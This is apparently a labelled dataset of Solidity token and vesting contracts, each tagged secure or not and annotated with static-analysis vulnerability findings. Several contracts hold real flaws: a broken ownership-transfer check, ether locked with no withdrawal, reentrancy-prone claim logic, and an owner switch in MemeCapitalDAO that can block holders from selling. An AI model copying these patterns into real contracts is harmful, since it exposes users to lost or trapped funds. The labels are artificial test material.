transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_350.sol", "secure": 1, "size_bytes": 5198 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ApproveAndCallFallBack {\n function receiveApproval(\n address from,\n uint256 tokens,\n address token,\n bytes memory data\n ) public virtual;\n}", "file_name": "solidity_code_3500.sol", "secure": 1, "size_bytes": 260 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n address public owner;\n address public newOwner;\n\n event OwnershipTransferred(address indexed _from, address indexed _to);\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 52dbbaf): Owned.transferOwnership(address)._newOwner lacks a zerocheck on \t newOwner = _newOwner\n\t// Recommendation for 52dbbaf: Check that the address is not zero.\n function transferOwnership(address _newOwner) public onlyOwner {\n if (newOwner != address(0)) {\n\t\t\t// missing-zero-check | ID: 52dbbaf\n newOwner = _newOwner;\n }\n }\n\n function acceptOwnership() public {\n require(msg.sender == newOwner);\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n newOwner = address(0);\n }\n}", "file_name": "solidity_code_3501.sol", "secure": 0, "size_bytes": 1008 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Owned.sol\" as Owned;\n\ncontract Paused is Owned {\n event Pause();\n event Unpause();\n\n bool public paused = false;\n\n modifier isNotPaused() {\n require(!paused);\n _;\n }\n\n modifier isPaused() {\n require(paused);\n _;\n }\n\n function pause() public onlyOwner isNotPaused {\n paused = true;\n emit Pause();\n }\n\n function unpause() public onlyOwner isPaused {\n paused = false;\n emit Unpause();\n }\n}\n", "file_name": "solidity_code_3502.sol", "secure": 1, "size_bytes": 576 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"./Owned.sol\" as Owned;\nimport \"./Paused.sol\" as Paused;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./ApproveAndCallFallBack.sol\" as ApproveAndCallFallBack;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4118fe1): Contract locking ether found Contract Thekhan has payable functions Thekhan.fallback() Thekhan.receive() But does not have a function to withdraw the ether\n// Recommendation for 4118fe1: Remove the 'payable' attribute or add a withdraw function.\ncontract Thekhan is ERC20Interface, Owned, Paused, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: 3bec558): Thekhan.decimals should be immutable \n\t// Recommendation for 3bec558: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n uint256 internal _totalSupply;\n address public upgradedAddress;\n bool public deprecated = false;\n\n mapping(address => uint256) balances;\n mapping(address => uint256) public freezeOf;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n symbol = \"Thekhan\";\n name = \"Thekhan\";\n decimals = 18;\n _totalSupply = 1000000000 * 10 ** 18;\n deprecated = false;\n paused = false;\n balances[0x751F188C1206aF15d164F7c53C2b29883549a3c6] = _totalSupply;\n emit Transfer(\n address(0),\n 0x751F188C1206aF15d164F7c53C2b29883549a3c6,\n _totalSupply\n );\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override isNotPaused returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override isNotPaused returns (bool success) {\n balances[from] = safeSub(balances[from], tokens);\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approveAndCall(\n address spender,\n uint256 tokens,\n bytes memory data\n ) public returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n ApproveAndCallFallBack(spender).receiveApproval(\n msg.sender,\n tokens,\n address(this),\n data\n );\n return true;\n }\n\n function burn(uint256 _value) public returns (bool success) {\n if (balances[msg.sender] < _value) revert();\n if (_value <= 0) revert();\n balances[msg.sender] = SafeMath.safeSub(balances[msg.sender], _value);\n _totalSupply = SafeMath.safeSub(_totalSupply, _value);\n emit Burn(msg.sender, _value);\n return true;\n }\n\n function freeze(uint256 _value) public returns (bool success) {\n if (balances[msg.sender] < _value) revert();\n if (_value <= 0) revert();\n balances[msg.sender] = SafeMath.safeSub(balances[msg.sender], _value);\n freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);\n emit Freeze(msg.sender, _value);\n return true;\n }\n\n function unfreeze(uint256 _value) public returns (bool success) {\n if (freezeOf[msg.sender] < _value) revert();\n if (_value <= 0) revert();\n freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);\n balances[msg.sender] = SafeMath.safeAdd(balances[msg.sender], _value);\n emit Unfreeze(msg.sender, _value);\n return true;\n }\n\n function issue(uint256 amount) public onlyOwner {\n require(_totalSupply + amount > _totalSupply);\n require(balances[owner] + amount > balances[owner]);\n balances[owner] += amount;\n _totalSupply += amount;\n emit Issue(amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0e288fc): Thekhan.deprecate(address)._upgradedAddress lacks a zerocheck on \t upgradedAddress = _upgradedAddress\n\t// Recommendation for 0e288fc: Check that the address is not zero.\n function deprecate(address _upgradedAddress) public onlyOwner {\n deprecated = true;\n\t\t// missing-zero-check | ID: 0e288fc\n upgradedAddress = _upgradedAddress;\n emit Deprecate(_upgradedAddress);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4118fe1): Contract locking ether found Contract Thekhan has payable functions Thekhan.fallback() Thekhan.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4118fe1: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4118fe1): Contract locking ether found Contract Thekhan has payable functions Thekhan.fallback() Thekhan.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4118fe1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_3503.sol", "secure": 0, "size_bytes": 6313 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IdexFacotry.sol\" as IdexFacotry;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MemeCapitalDAO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 5c83455): MemeCapitalDAO.dexRouter should be immutable \n\t// Recommendation for 5c83455: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: da8af6e): MemeCapitalDAO.dexPair should be immutable \n\t// Recommendation for da8af6e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 614a1c0): MemeCapitalDAO._decimals should be immutable \n\t// Recommendation for 614a1c0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: a7555d9): MemeCapitalDAO._totalSupply should be immutable \n\t// Recommendation for a7555d9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ffc34d): MemeCapitalDAO.wallet1 should be immutable \n\t// Recommendation for 4ffc34d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public wallet1;\n\n bool public _antiwhale = true;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4869f7b): MemeCapitalDAO.constructor(address)._wallet1 lacks a zerocheck on \t wallet1 = _wallet1\n\t// Recommendation for 4869f7b: Check that the address is not zero.\n constructor(address _wallet1) {\n _name = \"MemeCapitalDAO\";\n _symbol = \"MCDAO\";\n _decimals = 18;\n _totalSupply = 1000000000 * 1e18;\n\n\t\t// missing-zero-check | ID: 4869f7b\n wallet1 = _wallet1;\n\n _balances[owner()] = _totalSupply.mul(500).div(1e3);\n _balances[wallet1] = _totalSupply.mul(500).div(1e3);\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IdexFacotry(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n emit Transfer(address(this), owner(), _totalSupply.mul(500).div(1e3));\n emit Transfer(address(this), wallet1, _totalSupply.mul(500).div(1e3));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f55d80e): MemeCapitalDAO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f55d80e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function AntiWhale(bool value) external onlyOwner {\n _antiwhale = value;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"WE: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"WE: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"Sorry: transfer from the zero address\");\n require(recipient != address(0), \"Sorry: transfer to the zero address\");\n require(amount > 0, \"Sorry: Transfer amount must be greater than zero\");\n\n if (!_antiwhale && sender != owner() && recipient != owner()) {\n require(recipient != dexPair, \" Sorry:prowhale is not enabled\");\n }\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"WE: transfer amount exceeds balance\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 875b2f6): MemeCapitalDAO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 875b2f6: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3504.sol", "secure": 0, "size_bytes": 7874 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n}", "file_name": "solidity_code_3505.sol", "secure": 1, "size_bytes": 269 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract AGVSeed {\n address public owner;\n address private AGV_address;\n uint256 private tokenGenerateTime;\n uint256 private vestingDuration;\n uint256 private vestingTimeStartFrom;\n uint256 public totalInvestment;\n uint256 public totalRelease;\n\t// WARNING Optimization Issue (immutable-states | ID: 98ef787): AGVSeed.tgePercentage should be immutable \n\t// Recommendation for 98ef787: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public tgePercentage;\n\t// WARNING Optimization Issue (immutable-states | ID: 3121042): AGVSeed.claimPercentage should be immutable \n\t// Recommendation for 3121042: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public claimPercentage;\n\n struct Investor {\n uint256 lockedAgv;\n uint256 releasedAgv;\n uint256 previousClaimTime;\n uint256 claimCounter;\n bool isTokenGenerated;\n uint256 balance;\n }\n\n mapping(address => Investor) public investors;\n\n event AddInvestor(address indexed investor, uint256 indexed amount);\n event Claim(\n address indexed sender,\n address indexed investor,\n uint256 indexed amount\n );\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n constructor() {\n tokenGenerateTime = 1640217600;\n vestingTimeStartFrom = 1643587200;\n vestingDuration = 24;\n tgePercentage = 5;\n claimPercentage = 396;\n owner = _msgSender();\n AGV_address = 0xf4F618Eff5eF36Cde2FCa4FBD86554c62Fb1382B;\n }\n\n modifier isValidAddress(address _address) {\n require(_address != address(0), \"Address cannot be empty\");\n _;\n }\n\n modifier isInvestorExist() {\n require(investors[_msgSender()].lockedAgv != 0, \" Invalid investor. \");\n _;\n }\n\n modifier isValidAmount(uint256 _amount) {\n require(_amount != 0, \" Amount not found. \");\n _;\n }\n\n modifier isValidDate(uint256 _date) {\n require(_date != 0, \" Date is not valid. \");\n _;\n }\n\n modifier onlyOwner() {\n require(owner == _msgSender(), \"Only owner access\");\n _;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5e11643): AGVSeed.isTokenGenerateEventStarted() uses timestamp for comparisons Dangerous comparisons block.timestamp > tokenGenerateTime\n\t// Recommendation for 5e11643: Avoid relying on 'block.timestamp'.\n function isTokenGenerateEventStarted() public view returns (bool) {\n\t\t// timestamp | ID: 5e11643\n if (block.timestamp > tokenGenerateTime) return true;\n else return false;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 578b10e): AGVSeed.isVestingTimeStarted() uses timestamp for comparisons Dangerous comparisons block.timestamp > vestingTimeStartFrom\n\t// Recommendation for 578b10e: Avoid relying on 'block.timestamp'.\n function isVestingTimeStarted() public view returns (bool) {\n\t\t// timestamp | ID: 578b10e\n if (block.timestamp > vestingTimeStartFrom) return true;\n else return false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e8af46b): AGVSeed.modifyVestingDuration(uint256) should emit an event for vestingDuration = _month \n\t// Recommendation for e8af46b: Emit an event for critical parameter changes.\n function modifyVestingDuration(uint256 _month) public onlyOwner {\n bool isVestingTimeStart = isVestingTimeStarted();\n require(\n isVestingTimeStart == false,\n \" Vesting duration cannot be changed when vesting period started.\"\n );\n\t\t// events-maths | ID: e8af46b\n vestingDuration = _month;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: edb3035): AGVSeed.modifyVestingTimeStartFrom(uint256) should emit an event for vestingTimeStartFrom = _date \n\t// Recommendation for edb3035: Emit an event for critical parameter changes.\n function modifyVestingTimeStartFrom(\n uint256 _date\n ) public onlyOwner isValidDate(_date) {\n bool isVestingTimeStart = isVestingTimeStarted();\n require(\n isVestingTimeStart == false,\n \" Vesting time cannot be changed when vesting period started.\"\n );\n require(\n _date >= tokenGenerateTime,\n \"Vesting time cannot start before token generate event.\"\n );\n\t\t// events-maths | ID: edb3035\n vestingTimeStartFrom = _date;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 29b38d7): AGVSeed.modifyTokenGenerateTime(uint256) should emit an event for tokenGenerateTime = _date \n\t// Recommendation for 29b38d7: Emit an event for critical parameter changes.\n function modifyTokenGenerateTime(\n uint256 _date\n ) public onlyOwner isValidDate(_date) {\n bool isTokenGenerateStarted = isTokenGenerateEventStarted();\n require(\n isTokenGenerateStarted == false,\n \"Token generate time cannot be changed when token generate event started.\"\n );\n require(\n _date <= vestingTimeStartFrom,\n \"Token generate event time must be less than vesting time.\"\n );\n\t\t// events-maths | ID: 29b38d7\n tokenGenerateTime = _date;\n }\n\n function withdrawAgv(\n address _address,\n uint256 _amount\n ) public onlyOwner isValidAmount(_amount) {\n uint256 contractBalance = IERC20(AGV_address).balanceOf(address(this));\n require(contractBalance >= _amount, \" Insufficient AGV token balance.\");\n transferAGV(_address, _amount);\n }\n\n function decreaseInvestorAllowance(\n address _address,\n uint256 _amount\n ) public onlyOwner isValidAddress(_address) isValidAmount(_amount) {\n require(_amount < investors[_address].balance, \"Not enough token\");\n investors[_address].lockedAgv -= _amount;\n investors[_address].balance -= _amount;\n totalInvestment -= _amount;\n }\n\n function changeAgvAddress(\n address _address\n ) external onlyOwner isValidAddress(_address) {\n AGV_address = _address;\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 0f3b9a7): AGVSeed.transferOwnership(address) should emit an event for owner = _address \n\t// Recommendation for 0f3b9a7: Emit an event for critical parameter changes.\n function transferOwnership(\n address _address\n ) external onlyOwner isValidAddress(_address) {\n\t\t// events-access | ID: 0f3b9a7\n owner = _address;\n }\n\n function getTokenGenerateTime() public view returns (uint256) {\n return tokenGenerateTime;\n }\n function getVestingTime() public view returns (uint256) {\n return vestingTimeStartFrom;\n }\n\n function getInvestor(\n address _address\n )\n public\n view\n returns (\n uint256 lockedAgv,\n uint256 releasedAgv,\n uint256 balance,\n uint256 totalClaim,\n uint256 previousClaimTime,\n bool tokenGenerated\n )\n {\n if (investors[_address].lockedAgv != 0) {\n return (\n investors[_address].lockedAgv,\n investors[_address].releasedAgv,\n investors[_address].balance,\n investors[_address].claimCounter,\n investors[_address].previousClaimTime,\n investors[_address].isTokenGenerated\n );\n } else {\n return (0, 0, 0, 0, 0, false);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a7f9a1f): AGVSeed.isEligibleForClaim() uses timestamp for comparisons Dangerous comparisons block.timestamp > investors[_msgSender()].previousClaimTime + 30 * 24 * 60 * 60\n\t// Recommendation for a7f9a1f: Avoid relying on 'block.timestamp'.\n function isEligibleForClaim()\n public\n view\n isInvestorExist\n returns (bool _res)\n {\n bool isTokenGenerateStarted = isTokenGenerateEventStarted();\n bool isVestingTime = isVestingTimeStarted();\n if (isTokenGenerateStarted == true) {\n if (isVestingTime == true) {\n if (\n investors[_msgSender()].releasedAgv <\n investors[_msgSender()].lockedAgv\n ) {\n if (\n investors[_msgSender()].claimCounter < vestingDuration\n ) {\n if (investors[_msgSender()].previousClaimTime != 0) {\n if (\n\t\t\t\t\t\t\t\t// timestamp | ID: a7f9a1f\n block.timestamp >\n investors[_msgSender()].previousClaimTime +\n 30 *\n 24 *\n 60 *\n 60\n ) return true;\n else return false;\n } else {\n return true;\n }\n }\n }\n }\n }\n return false;\n }\n\n function addInvestor(\n address _address,\n uint256 _amount\n ) external onlyOwner isValidAddress(_address) isValidAmount(_amount) {\n bool isTGETime = isTokenGenerateEventStarted();\n require(\n isTGETime == false,\n \" Cannot add investor after Token generation started.\"\n );\n totalInvestment += _amount;\n if (investors[_address].lockedAgv != 0) {\n investors[_address].lockedAgv += _amount;\n investors[_address].balance += _amount;\n } else {\n investors[_address] = Investor({\n lockedAgv: _amount,\n releasedAgv: 0,\n previousClaimTime: 0,\n claimCounter: 0,\n isTokenGenerated: false,\n balance: _amount\n });\n emit AddInvestor(_address, _amount);\n }\n }\n\n function transferAGV(\n address _receiver,\n uint256 _amount\n ) internal returns (bool _res) {\n\t\t// reentrancy-events | ID: e3339c3\n\t\t// reentrancy-benign | ID: f3714d5\n\t\t// reentrancy-benign | ID: 42dc560\n\t\t// reentrancy-no-eth | ID: 77c7631\n\t\t// reentrancy-no-eth | ID: d92b101\n bool responce = IERC20(AGV_address).transfer(_receiver, _amount);\n return responce;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f3714d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f3714d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d92b101): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d92b101: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function generateToken() external isInvestorExist {\n bool isTokenGenerateStarted = isTokenGenerateEventStarted();\n address _address = _msgSender();\n\n require(\n isTokenGenerateStarted == true,\n \"Token generate event not started.\"\n );\n\n require(\n investors[_address].isTokenGenerated == false,\n \"Token already generated.\"\n );\n\n uint256 _amount = (investors[_address].lockedAgv * tgePercentage) / 100;\n\n uint256 contractBalance = IERC20(AGV_address).balanceOf(address(this));\n require(contractBalance >= _amount, \" Insufficient AGV token balance.\");\n\n\t\t// reentrancy-benign | ID: f3714d5\n\t\t// reentrancy-no-eth | ID: d92b101\n transferAGV(_address, _amount);\n\t\t// reentrancy-benign | ID: f3714d5\n totalRelease += _amount;\n\n\t\t// reentrancy-no-eth | ID: d92b101\n investors[_address].releasedAgv += _amount;\n\t\t// reentrancy-no-eth | ID: d92b101\n investors[_address].balance =\n investors[_address].lockedAgv -\n investors[_address].releasedAgv;\n\t\t// reentrancy-no-eth | ID: d92b101\n investors[_address].isTokenGenerated = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e3339c3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e3339c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 42dc560): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 42dc560: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 77c7631): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 77c7631: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimAgv() external isInvestorExist {\n bool isVestingTimeStart = isVestingTimeStarted();\n require(\n isVestingTimeStart == true,\n \"Claim cannot be started before the vesting time started.\"\n );\n\n bool isEligible = isEligibleForClaim();\n require(isEligible == true, \"Not eligible for claim.\");\n\n uint256 contractBalance = IERC20(AGV_address).balanceOf(address(this));\n\n address _address = _msgSender();\n\n uint256 _transferAmount = (investors[_address].lockedAgv *\n claimPercentage) / 10000;\n\n require(\n contractBalance >= _transferAmount,\n \" Insufficient AGV token balance.\"\n );\n require(\n investors[_address].isTokenGenerated == true,\n \"Token not generated.\"\n );\n\n if (investors[_address].claimCounter == vestingDuration - 1) {\n _transferAmount = investors[_address].balance;\n }\n\n\t\t// reentrancy-events | ID: e3339c3\n\t\t// reentrancy-benign | ID: 42dc560\n\t\t// reentrancy-no-eth | ID: 77c7631\n transferAGV(_address, _transferAmount);\n\t\t// reentrancy-no-eth | ID: 77c7631\n investors[_address].previousClaimTime = block.timestamp;\n\t\t// reentrancy-no-eth | ID: 77c7631\n investors[_address].releasedAgv += _transferAmount;\n\t\t// reentrancy-no-eth | ID: 77c7631\n investors[_address].claimCounter++;\n\t\t// reentrancy-no-eth | ID: 77c7631\n investors[_address].balance =\n investors[_address].lockedAgv -\n investors[_address].releasedAgv;\n\t\t// reentrancy-benign | ID: 42dc560\n totalRelease += _transferAmount;\n\n\t\t// reentrancy-events | ID: e3339c3\n emit Claim(address(this), _address, _transferAmount);\n }\n}", "file_name": "solidity_code_3506.sol", "secure": 0, "size_bytes": 15956 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SDPN is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint256 private immutable _cap = 100000000 * (10 ** 18);\n\n constructor() {\n _name = \"Simcrypted\";\n _symbol = \"SDPN\";\n _totalSupply = 80000000 * (10 ** decimals());\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function cap() public view virtual returns (uint256) {\n return _cap;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 441ce58): SDPN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 441ce58: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n 